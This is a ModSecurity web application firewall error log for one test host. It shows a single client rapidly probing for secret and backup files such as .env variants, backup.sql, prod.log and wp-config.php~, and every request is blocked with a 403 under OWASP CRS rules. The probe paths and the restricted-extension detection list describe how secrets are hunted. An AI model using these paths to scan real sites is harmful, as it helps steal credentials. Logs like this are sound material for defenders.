[Sun Nov 30 15:25:44.429778 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.bak&quot;] [unique_id &quot;aSxT6H-YzzK-2pqhifF4KAAAAEU&quot;]
[Sun Nov 30 15:25:44.429992 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.bak&quot;] [unique_id &quot;aSxT6H-YzzK-2pqhifF4KAAAAEU&quot;]
[Sun Nov 30 15:25:44.879511 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env&quot;] [unique_id &quot;aSxT6H-YzzK-2pqhifF4KgAAAEU&quot;]
[Sun Nov 30 15:25:44.879727 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env&quot;] [unique_id &quot;aSxT6H-YzzK-2pqhifF4KgAAAEU&quot;]
[Sun Nov 30 15:25:44.879945 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env&quot;] [unique_id &quot;aSxT6H-YzzK-2pqhifF4KgAAAEU&quot;]
[Sun Nov 30 15:25:45.103856 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aSxT6X-YzzK-2pqhifF4KwAAAEU&quot;]
[Sun Nov 30 15:25:45.104075 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aSxT6X-YzzK-2pqhifF4KwAAAEU&quot;]
[Sun Nov 30 15:25:45.104282 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aSxT6X-YzzK-2pqhifF4KwAAAEU&quot;]
[Sun Nov 30 15:25:45.328133 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;aSxT6X-YzzK-2pqhifF4LAAAAEU&quot;]
[Sun Nov 30 15:25:45.328355 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;aSxT6X-YzzK-2pqhifF4LAAAAEU&quot;]
[Sun Nov 30 15:25:45.328577 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;aSxT6X-YzzK-2pqhifF4LAAAAEU&quot;]
[Sun Nov 30 15:25:45.552340 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aSxT6X-YzzK-2pqhifF4LQAAAEU&quot;]
[Sun Nov 30 15:25:45.552575 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aSxT6X-YzzK-2pqhifF4LQAAAEU&quot;]
[Sun Nov 30 15:25:45.553224 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aSxT6X-YzzK-2pqhifF4LQAAAEU&quot;]
[Sun Nov 30 15:25:45.777171 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aSxT6X-YzzK-2pqhifF4LgAAAEU&quot;]
[Sun Nov 30 15:25:45.777391 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aSxT6X-YzzK-2pqhifF4LgAAAEU&quot;]
[Sun Nov 30 15:25:45.777598 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aSxT6X-YzzK-2pqhifF4LgAAAEU&quot;]
[Sun Nov 30 15:25:46.228497 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aSxT6n-YzzK-2pqhifF4MAAAAEU&quot;]
[Sun Nov 30 15:25:46.228985 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aSxT6n-YzzK-2pqhifF4MAAAAEU&quot;]
[Sun Nov 30 15:25:46.229267 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aSxT6n-YzzK-2pqhifF4MAAAAEU&quot;]
[Sun Nov 30 15:25:46.454828 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aSxT6n-YzzK-2pqhifF4MQAAAEU&quot;]
[Sun Nov 30 15:25:46.455070 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aSxT6n-YzzK-2pqhifF4MQAAAEU&quot;]
[Sun Nov 30 15:25:46.455307 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aSxT6n-YzzK-2pqhifF4MQAAAEU&quot;]
[Sun Nov 30 15:25:47.128710 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.old&quot;] [unique_id &quot;aSxT63-YzzK-2pqhifF4NAAAAEU&quot;]
[Sun Nov 30 15:25:47.128892 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.old&quot;] [unique_id &quot;aSxT63-YzzK-2pqhifF4NAAAAEU&quot;]
[Sun Nov 30 15:25:47.129120 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.old&quot;] [unique_id &quot;aSxT63-YzzK-2pqhifF4NAAAAEU&quot;]
[Sun Nov 30 15:25:47.129362 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.old&quot;] [unique_id &quot;aSxT63-YzzK-2pqhifF4NAAAAEU&quot;]
[Sun Nov 30 15:25:47.352874 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/logs/prod.log&quot;] [unique_id &quot;aSxT63-YzzK-2pqhifF4NQAAAEU&quot;]
[Sun Nov 30 15:25:47.353268 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/logs/prod.log&quot;] [unique_id &quot;aSxT63-YzzK-2pqhifF4NQAAAEU&quot;]
[Sun Nov 30 15:25:47.353491 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/logs/prod.log&quot;] [unique_id &quot;aSxT63-YzzK-2pqhifF4NQAAAEU&quot;]
[Sun Nov 30 15:25:47.577443 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php~&quot;] [unique_id &quot;aSxT63-YzzK-2pqhifF4NgAAAEU&quot;]
